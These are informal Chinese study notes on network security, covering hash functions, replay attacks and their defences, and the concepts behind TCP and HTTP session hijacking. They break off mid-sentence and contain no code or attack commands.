哈希值 是 一段数据唯一 且极其紧凑的数值表现形式. 要找到散列为同一值的两个不同的输入,原理上是不可能的,所以hash值 可以检测数据的完整性. 简单说 就是一种单向密码体制,从明文到密文的不可逆映射,只有加密过程,没有解密. 任意长度 经过变化 得到固定长度的输出.

也可以说 hash 就是 找到一种 数据内容和数据存放地址之间的 映射关系.

算法用途 文件完整性校验

数字签名 由于 用非对称算法 运算速度慢,所以也可以用hash值 (也叫 数字摘要) 进行数字签名.

文件可以被别人窃听 但是不能被更改.

Md4 : message dagest 4 适用 32位字长的处理器 用高速软件实现. 基于32位操作系统来实现的.

Md5 : 对md4的改进 ,对输入以512位分组, 其输出是4个32位字的级联. 比md4复杂,速度要慢,在抗分析 和抗差分表现好.

Sha1 :

散列值: hash function. 将一个很大的 文件 映射成很小的 函数?

重放攻击: repaly attacks 攻击者 发送一个 目的主机以及接受过的包,来达到欺骗系统的目的. 主要用于 身份认证过程,破坏认证的正确性.

为了抵御这种攻击,现在的身分认证 一般采用 挑战应答(challenge /response)方式 用户 申请登录 发起 挑战值 并用md5 计算出相应的应答值 发送给服务器. 服务器也用md5计算出应答值 应答值一样的话就建立链接.

Cookie 监听http 截获的敏感数据 大多存放在cookie 中, 有时候可以 轻松的复杂别人的cookie 直接获得 相应的权限.

加密 可以防止别人破解 但是防止不了 repaly attacks 黑客只要 重复 发送你的加密文件.就能破坏身份认证等. 这种攻击 可以改变消息去向, 发送给指定的接收人,

防御方案:

时间戳: 时戳;代表当前时刻的数字. 基本思想; 服务器 接受一个消息 :当且仅当 这个消息 包含一个对服务器而言 足够接近当前时刻的时戳. 原理- replay attacks 需要时间, 这个时间会有点久. 要求; 通信各方的 计算机 时钟 要保持同步. 处理方式:设置大小适当的时间间隔(时间窗) 越大越能包容网络传输的延时, 越小越防重放攻击.

2,序号 通信双方 通过消息中的序列号 来保持消息的 新鲜性. 要求;双方 事先协商一个初始的序列号之后的通信 协商递增方法.

3,提问与应答 客户给服务器 发送一个随机数x, 要求服务器应答消息中 包含f(x) f()是双方事先约好的一个简单函数. 客户通过 服务器回的 f(x)值 判定 消息是不是重放攻击.

会话劫持?

劫持 分两种: 被动劫持:在后台监听双方会话的数据流,从中获得敏感数据 主动劫持:将会话当中的某台主机 踢 下线,由 攻击者取代 并 接管会话.

Tcp 会话劫持: 如果要劫持一些 不可靠的协议,那么将轻而易举.因为它们没有提供认证措施. 而 tcp 被誉为可靠协议. 这个是重点讨论的.

根据TCP/IP 的规定:使用tcp协议通讯 需要提供 两段序列号. 协议 使用者两段序列号 来保证 通信安全. TCP/IP 根据 时间或者线性的产生这些 序列号. 通讯过程中 双方的序列号是相互依赖的,这也是为什么 tcp协议是可靠的传输协议,
所以 劫持的关键是这些序列号, 攻击者可以采取 嗅探技术获得序列号.

tcp

每一个数据包中 都有两段序列号. 分别是 SEQ 当前数据包 第一个字节的序号. ACK 期望收到对方数据包中的第一个字节的序号.

假如 双方要进行一次连接.

服务器: server S_SEQ:将要发送的下一个字节的序号 S_ACK:将要接收的下一个字节的序号 S_WIND:接收窗口

客户端:client C_SEQ:将要发送的下一个字节的序号 C_ACK:将要接收的下一个字节的序号 C_WIND:接收窗口

它们之间的关系 必须符合 下面的逻辑关系,否则 数据包会被丢弃 并返回一个ack包(包含 期望的 序列号)

C_ACK <= C_SEQ <= C_ACK + C_WIND S_ACK <= S_SEQ <= S_ACK + S_WIND

很大的缺点就是: 当收到一个 不期望的数据包后, 返回一个想要的ack包 然而这个包也不是另一端需要的 就恶性循环 产生 ack 风暴 storm

Tcp 会话 劫持过程:

Http 会话劫持 web 应用程序 通过2种方式 来判断和跟踪不同的用户 :

cookie : 小甜饼. 当你浏览网站时候,cookie 会帮你把 你在网站上打的字,或者 一些选择(网页背景颜色? / 网页缩放?) .都记录下来. 下次访问该站,服务器会先看看cookie 里面的信息. 网站为了辨别用户身份,而储存在本地计算机上经过加密的数据,

由服务器生产,发送给User-Agent (一般是浏览器) 浏览器会将cookie的 key